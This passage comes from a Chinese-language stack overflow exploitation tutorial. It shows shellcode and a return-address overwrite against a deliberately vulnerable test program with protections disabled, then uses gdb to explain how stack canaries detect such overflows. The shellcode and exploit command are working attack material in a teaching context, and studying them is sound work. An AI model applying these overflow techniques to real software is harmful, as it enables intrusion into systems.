这些只是要执行的指令的机器码形式,这样转义后,他们就可以使用perl来打印了。因为shellcode 的长度是45字节,但是我们需要72个字节才能覆盖掉SIP。所以需要再加上27个字节。好了 下面就是我们要使用的字符串:
"\xeb\x22\x48\x31\xc0\x48\x31\xff\x48\x31\xd2\x48\xff\xc0\x48\xff\xc7\x5e\x48
\x83\xc2\x04\x0f\x05\x48\x31\xc0\x48\x83\xc0\x3c\x48\x31\xff\x0f\x05\xe8\xd9
\xff\xff\xff\x48\x61\x78\x21" . "A"x27 . "\xa0\xe0\xff\xff\xff\x7f"
当程序执行完go() 这个函数的时候就会跳到0x7fffffffe0a0去执行。而这个地址正是name[]数组的地址,此时name[]数组里面已经被填充上我们的shellcode了。不出意外的话,程序就会执行我们的shellcode然后打印出消息 ,然后退出,好了 现在我们来试一试(注意执行前 清除掉所有的断点 (译者注:如果你在调试器里面执行的话)):
-----------------------------------
$ ./oldskool `perl -e 'print "\xeb\x22\x48\x31\xc0\x48\x31\xff\x48\x31\xd2\x48
\xff\xc0\x48\xff\xc7\x5e\x48\x83\xc2\x04\x0f\x05\x48\x31\xc0\x48\x83\xc0\x3c
\x48\x31\xff\x0f\x05\xe8\xd9\xff\xff\xff\x48\x61\x78\x21" . "A"x27 . "\xa0\xe0
\xff\xff\xff\x7f"'`
Hax!$
-----------------------------------
可以看到,我们shellcode 被执行了,程序打印出消息然后退出了。
4. 保护机制欢迎来到2012年,上面的例子在层层保护之下已经不能工作了。现在在我们的Ubuntu机器上面使用了很多不同的保护措施。这种形式的利用方式甚至已经不存在了。当然栈中还是会发生溢出,也还是有新的方法来利用它。这就是我下面一节要介绍的。但是首先还是让我们来了解下各种保护机制吧。
4.1 堆栈保护
在上面的例子里面我们使用-fno-stack-protector 标识来告诉gcc 我们不想启用堆栈保护。如果我们把这个选项和前面加的其他选项都去掉呢 ?注意此时ASLR也被打开了,所有的东西都变成默认了。
$ gcc oldskool.c -o oldskool -g
我们先看看生成的二进制代码,看看有什么变化。
-----------------------------------
$ gdb -q ./oldskool
Reading symbols from /home/me/.hax/vuln/oldskool...done.
(gdb) disas go
Dump of assembler code for function go:
0x000000000040058c <+0>: push %rbp
0x000000000040058d <+1>: mov %rsp,%rbp
0x0000000000400590 <+4>: sub $0x60,%rsp
0x0000000000400594 <+8>: mov %rdi,-0x58(%rbp)
0x0000000000400598 <+12>: mov %fs:0x28,%rax
0x00000000004005a1 <+21>: mov %rax,-0x8(%rbp)
0x00000000004005a5 <+25>: xor %eax,%eax
0x00000000004005a7 <+27>: mov -0x58(%rbp),%rdx
0x00000000004005ab <+31>: lea -0x50(%rbp),%rax
0x00000000004005af <+35>: mov %rdx,%rsi
0x00000000004005b2 <+38>: mov %rax,%rdi
0x00000000004005b5 <+41>: callq 0x400450
0x00000000004005ba <+46>: mov -0x8(%rbp),%rax
0x00000000004005be <+50>: xor %fs:0x28,%rax
0x00000000004005c7 <+59>: je 0x4005ce
0x00000000004005c9 <+61>: callq 0x400460 <__stack_chk_fail@plt>
0x00000000004005ce <+66>: leaveq
0x00000000004005cf <+67>: retq
End of assembler dump.
-----------------------------------
如果我们观察go+12 和 go+21,可以看到一个值被从$fs+0x28 或者%fs:0x28。这个地址指向的值并不重要,现在我只告诉你:fs 指向的结构是供内核使用的(为内核保留的),我们不能使用gdb 来查看fs 的值。但是我们只需要知道这个地方包含了一个随机的值,已经被证明我们是不能提前预测这个值的。
-----------------------------------
(gdb) break *0x0000000000400598
Breakpoint 1 at 0x400598: file oldskool.c, line 4.
(gdb) run
Starting program: /home/me/.hax/vuln/oldskool
Breakpoint 1, go (data=0x0) at oldskool.c:4
4 void go(char *data) {
(gdb) x/i $rip
=> 0x400598 : mov %fs:0x28,%rax
(gdb) si
0x00000000004005a1 4 void go(char *data) {
(gdb) i r rax
rax 0x110279462f20d0001225675390943547392
(gdb) run
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/me/.hax/vuln/oldskool
Breakpoint 1, go (data=0x0) at oldskool.c:4
4 void go(char *data) {
(gdb) si
0x00000000004005a1 4 void go(char *data) {
(gdb) i r rax
rax 0x21f95d1abb2a0800 2448090241843202048
-----------------------------------
我们在将那个值从 $fs+0x28移到rax的指令处下断点,然后执行这条指令,查看rax的值,重复这个过程我们可以清楚的看到这个值每次运行都会变化,所以这是个每次程序运行都会改变的值。也就是说攻击者不能提前知道这个值。但是这个值是怎么用来保护栈的呢?如果我们看 go+21 处 ,可以看出这个值被拷贝到 -0x8(%rbp) 处。可以看出这个值恰好在函数的局部变量和函数的返回地址之间。这个值被叫做”金丝雀”,也就是矿工用来提醒他们瓦斯泄露的。因为金丝雀对瓦斯比较忙敏感,会比人先死去。类比下,当发生缓冲区溢出的时候,这个值会比函数的返回地址先被覆盖。如果我们看下 go+46 和 go+50 的地方,可以看出这个值被从堆栈里面读出来。然后和原来的值做对比,如果他们是一样的那么就说明值没有改变,也就是说函数的返回地址也没被改变,然后就运行函数正常的退出了。但是如果这个值改变了,就说明发送了栈溢出,保存的函数返回地址有可能被改写了。于是函数就会执行__stack_chk_fail函数,这个函数会抛出一个错误,然后让进程退出。就像下面你看到的一样:
-----------------------------------
$ ./oldskool `perl -e 'print "A"x80'`
*** stack smashing detected ***: ./oldskool terminated
Aborted (core dumped)
-----------------------------------